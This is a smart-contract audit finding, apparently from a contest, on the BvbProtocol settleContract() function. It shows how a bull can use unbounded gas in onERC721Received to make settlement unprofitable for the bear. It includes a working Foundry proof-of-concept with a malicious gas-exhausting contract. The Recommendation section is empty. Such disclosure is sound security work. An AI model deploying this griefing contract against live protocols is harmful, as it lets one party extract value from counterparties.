KingNFT

medium

# [M-01] Bull can gain trading edge by dramatically increasing transaction cost for settlement

## Summary
The 'settleContract()' function has no gas limit while transferring collection to bull. Bull can use as much gas as possible to dramatically increase transaction cost for settlement and gain trading edge.

## Vulnerability Detail
As shown in the test case below, bear need to pay up to 2_770_000 gas to execute 'settleContract()'.
Let's say
```solidity
current market is in bear's favor, bear would earn 100$ profit from bull by settling contract.
```
And the gas cost is
```solidity
50 Gwei
```
ETH price is
```solidity
$2000
```
Then, the transaction cost is about
```solidity
2_770_000  * 50 Gwei * 2000$ = 277$
```
Profit is less than transaction cost , the bear will not do settlement. So financially speaking the bull gain 277$ trading edge in this case.


https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L394

## Impact
Bull can gain trading edge.

## Code Snippet
Related source code
```solidity
function settleContract(Order calldata order, uint tokenId) public nonReentrant {
    // ...
    // @audit no gas limit
    try IERC721(order.collection).safeTransferFrom(bear, bull, tokenId) {}

    catch (bytes memory) {
        IERC721(order.collection).safeTransferFrom(bear, address(this), tokenId);
        withdrawableCollectionTokenId[order.collection][tokenId] = bull;
    }

    // ...
}
```

Test case, put it into 'gasAttack.t.sol' file of 'test' directory.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.17;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Base} from "./Base.t.sol";

import {BvbProtocol} from "src/BvbProtocol.sol";


contract BadBull {
    uint256 private _junk;
    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata
    ) external {
        while (true) { // @audit run out gas, this is about 63/64 of total remaining gas
            _junk += 1;
        }
    }
}

contract ExhaustGasAttack is Base {
    function setUp() public {
        bvb.setAllowedAsset(address(weth), true);
        bvb.setAllowedCollection(address(doodles), true);

        bull = address(new BadBull());
        deal(address(weth), bull, 0xffffffff);
        deal(address(weth), bear, 0xffffffff);
        vm.prank(bull);
        weth.approve(address(bvb), type(uint).max);

        vm.prank(bear);
        weth.approve(address(bvb), type(uint).max);
    }

    function testExhaustGasAttack() public {
        BvbProtocol.Order memory order = defaultOrder();
        order.maker = bear;
        order.isBull = false;

        bytes32 orderHash = bvb.hashOrder(order);

        // Sign the order
        bytes memory signature = signOrderHash(bearPrivateKey, orderHash);

        // Taker (Bull) match with this order
        vm.prank(bull);
        bvb.matchOrder(order, signature);

        // Give a NFT to the Bear + approve
        uint tokenId = 1234;
        doodles.mint(bear, tokenId);
        vm.prank(bear);
        doodles.setApprovalForAll(address(bvb), true);

        // Settle the contract
        vm.prank(bear);
        vm.expectRevert();
        bvb.settleContract{gas: 2_760_000}(order, tokenId); // @audit fail

        vm.prank(bear);
        bvb.settleContract{gas: 2_770_000}(order, tokenId); // @audit success

    }
}
```
## Tool used

Manual Review

## Recommendation
